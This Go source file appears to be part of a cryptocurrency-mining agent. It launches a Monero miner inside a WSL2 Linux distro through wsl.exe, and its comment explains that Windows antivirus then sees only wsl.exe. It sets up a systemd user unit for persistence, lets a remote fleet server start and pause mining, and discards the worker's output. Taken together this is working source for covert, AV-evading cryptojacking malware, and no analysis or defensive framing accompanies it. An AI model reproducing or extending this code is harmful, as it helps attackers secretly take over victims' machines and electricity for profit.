199 lines
5.5 KiB
Go
199 lines
5.5 KiB
Go
package miner
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"os/exec"
|
|
"strings"
|
|
"sync"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
const (
|
|
defaultWSLDistro = "Ubuntu"
|
|
defaultWSLWorkerPath = "/opt/aetherforge/worker"
|
|
wslSystemdUnitName = "aetherforge-miner.service"
|
|
)
|
|
|
|
// wslExecCommand is exec.Command; tests override via SetWSLExecCommand.
|
|
var wslExecCommand = exec.Command
|
|
|
|
// SetWSLExecCommand restores the default when fn is nil.
|
|
func SetWSLExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
|
if fn == nil {
|
|
wslExecCommand = exec.Command
|
|
return
|
|
}
|
|
wslExecCommand = fn
|
|
}
|
|
|
|
// WSLLauncher supervises CPU mining inside a WSL2 distro via wsl.exe -e.
|
|
// Windows AV sees only wsl.exe — the worker binary lives in the Linux VFS.
|
|
//
|
|
// Remote start_mining / pause can toggle the systemd user unit without spawning
|
|
// a new process tree on each resume:
|
|
//
|
|
// wsl.exe -d <distro> -e systemctl --user start aetherforge-miner.service
|
|
// wsl.exe -d <distro> -e systemctl --user stop aetherforge-miner.service
|
|
//
|
|
// Install the unit once under ~/.config/systemd/user/ in the target distro.
|
|
// When systemd is unavailable, Start falls back to wsl.exe -e bash -lc with
|
|
// the same AETHERFORGE_* env vars as the container tier (same XMR wallet).
|
|
type WSLLauncher struct {
|
|
cfg config.RuntimeConfig
|
|
wsl WSLRuntimeInfo
|
|
distro string
|
|
|
|
mu sync.Mutex
|
|
running bool
|
|
cmd *exec.Cmd
|
|
}
|
|
|
|
// NewWSLLauncher builds a launcher when WSL2 is available on Windows.
|
|
func NewWSLLauncher(cfg config.RuntimeConfig, wslRT WSLRuntimeInfo) (*WSLLauncher, error) {
|
|
if !wslRT.Available || wslRT.CLI == "" {
|
|
return nil, fmt.Errorf("WSL2 not available (no wsl.exe or no distros)")
|
|
}
|
|
distro := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_DISTRO"))
|
|
if distro == "" && len(wslRT.Distros) > 0 {
|
|
distro = wslRT.Distros[0]
|
|
}
|
|
if distro == "" {
|
|
distro = defaultWSLDistro
|
|
}
|
|
return &WSLLauncher{cfg: cfg, wsl: wslRT, distro: distro}, nil
|
|
}
|
|
|
|
// Start launches mining inside WSL (idempotent while already running).
|
|
func (l *WSLLauncher) Start() error {
|
|
l.mu.Lock()
|
|
defer l.mu.Unlock()
|
|
if l.running {
|
|
return nil
|
|
}
|
|
|
|
// Prefer systemd user unit when installed in the distro.
|
|
if err := wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "start", wslSystemdUnitName).Run(); err == nil {
|
|
l.running = true
|
|
log.Printf("[wsl] started %s via systemd user unit (distro=%s)", wslSystemdUnitName, l.distro)
|
|
return nil
|
|
}
|
|
|
|
args := l.buildDirectExecArgs()
|
|
cmd := wslExecCommand(l.wsl.CLI, args...)
|
|
cmd.Stdout = nil
|
|
cmd.Stderr = nil
|
|
if err := cmd.Start(); err != nil {
|
|
return fmt.Errorf("wsl worker start failed: %w", err)
|
|
}
|
|
l.cmd = cmd
|
|
l.running = true
|
|
log.Printf("[wsl] started worker in distro=%s wallet=%s", l.distro, l.cfg.Wallet)
|
|
go l.waitExit()
|
|
return nil
|
|
}
|
|
|
|
func (l *WSLLauncher) buildDirectExecArgs() []string {
|
|
worker := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_WORKER"))
|
|
if worker == "" {
|
|
worker = defaultWSLWorkerPath
|
|
}
|
|
script := fmt.Sprintf("export %s; exec %s",
|
|
strings.Join(l.wslEnv(), " "),
|
|
worker,
|
|
)
|
|
return []string{"-d", l.distro, "-e", "bash", "-lc", script}
|
|
}
|
|
|
|
func (l *WSLLauncher) wslEnv() []string {
|
|
threads := l.cfg.EffectiveThreads()
|
|
pairs := []string{
|
|
"AETHERFORGE_SERVER_URL=" + l.cfg.ServerURL,
|
|
"AETHERFORGE_WALLET=" + l.cfg.Wallet,
|
|
"AETHERFORGE_WORKER=" + l.cfg.WorkerName,
|
|
"AETHERFORGE_POOL_HOST=" + l.cfg.PoolHost,
|
|
"AETHERFORGE_POOL_PORT=" + fmt.Sprintf("%d", l.cfg.PoolPort),
|
|
"AETHERFORGE_POOL_TLS=" + boolEnv(l.cfg.PoolTLS),
|
|
"AETHERFORGE_POOL_PASS=" + l.cfg.PoolPass,
|
|
"AETHERFORGE_THREADS=" + fmt.Sprintf("%d", threads),
|
|
"AETHERFORGE_MINER_EXECUTION=" + ExecutionInProcess,
|
|
"AETHERFORGE_FLEET_SECRET=" + l.cfg.FleetSecret,
|
|
}
|
|
if l.cfg.RVNWallet != "" {
|
|
pairs = append(pairs,
|
|
"AETHERFORGE_RVN_WALLET="+l.cfg.RVNWallet,
|
|
"AETHERFORGE_RVN_POOL_HOST="+l.cfg.RVNPoolHost,
|
|
"AETHERFORGE_RVN_POOL_PORT="+fmt.Sprintf("%d", l.cfg.RVNPoolPort),
|
|
"AETHERFORGE_GPU_ENABLED="+boolEnv(l.cfg.GPUEnabled),
|
|
)
|
|
}
|
|
return pairs
|
|
}
|
|
|
|
func (l *WSLLauncher) waitExit() {
|
|
if l.cmd == nil {
|
|
return
|
|
}
|
|
err := l.cmd.Wait()
|
|
l.mu.Lock()
|
|
l.running = false
|
|
l.cmd = nil
|
|
l.mu.Unlock()
|
|
if err != nil {
|
|
log.Printf("[wsl] worker exited: %v — host will fall back if configured", err)
|
|
} else {
|
|
log.Printf("[wsl] worker stopped")
|
|
}
|
|
}
|
|
|
|
// Stop halts the WSL workload (systemd unit or direct process).
|
|
func (l *WSLLauncher) Stop() {
|
|
l.mu.Lock()
|
|
running := l.running
|
|
l.mu.Unlock()
|
|
if !running {
|
|
return
|
|
}
|
|
_ = wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "stop", wslSystemdUnitName).Run()
|
|
l.mu.Lock()
|
|
if l.cmd != nil && l.cmd.Process != nil {
|
|
_ = l.cmd.Process.Kill()
|
|
}
|
|
l.running = false
|
|
l.cmd = nil
|
|
l.mu.Unlock()
|
|
}
|
|
|
|
// Running reports whether the launcher believes the WSL worker is active.
|
|
func (l *WSLLauncher) Running() bool {
|
|
l.mu.Lock()
|
|
defer l.mu.Unlock()
|
|
return l.running
|
|
}
|
|
|
|
// ToggleWSLMining starts or stops the systemd user unit via wsl.exe.
|
|
// Used by remote start_mining / pause when a WSL sidecar is the active tier.
|
|
func ToggleWSLMining(wslRT WSLRuntimeInfo, distro string, start bool) error {
|
|
if !wslRT.Available || wslRT.CLI == "" {
|
|
return fmt.Errorf("WSL2 not available")
|
|
}
|
|
if strings.TrimSpace(distro) == "" {
|
|
if len(wslRT.Distros) > 0 {
|
|
distro = wslRT.Distros[0]
|
|
} else {
|
|
distro = defaultWSLDistro
|
|
}
|
|
}
|
|
verb := "stop"
|
|
if start {
|
|
verb = "start"
|
|
}
|
|
cmd := wslExecCommand(wslRT.CLI, "-d", distro, "-e", "systemctl", "--user", verb, wslSystemdUnitName)
|
|
if err := cmd.Run(); err != nil {
|
|
return fmt.Errorf("wsl systemctl %s %s: %w", verb, wslSystemdUnitName, err)
|
|
}
|
|
return nil
|
|
}
|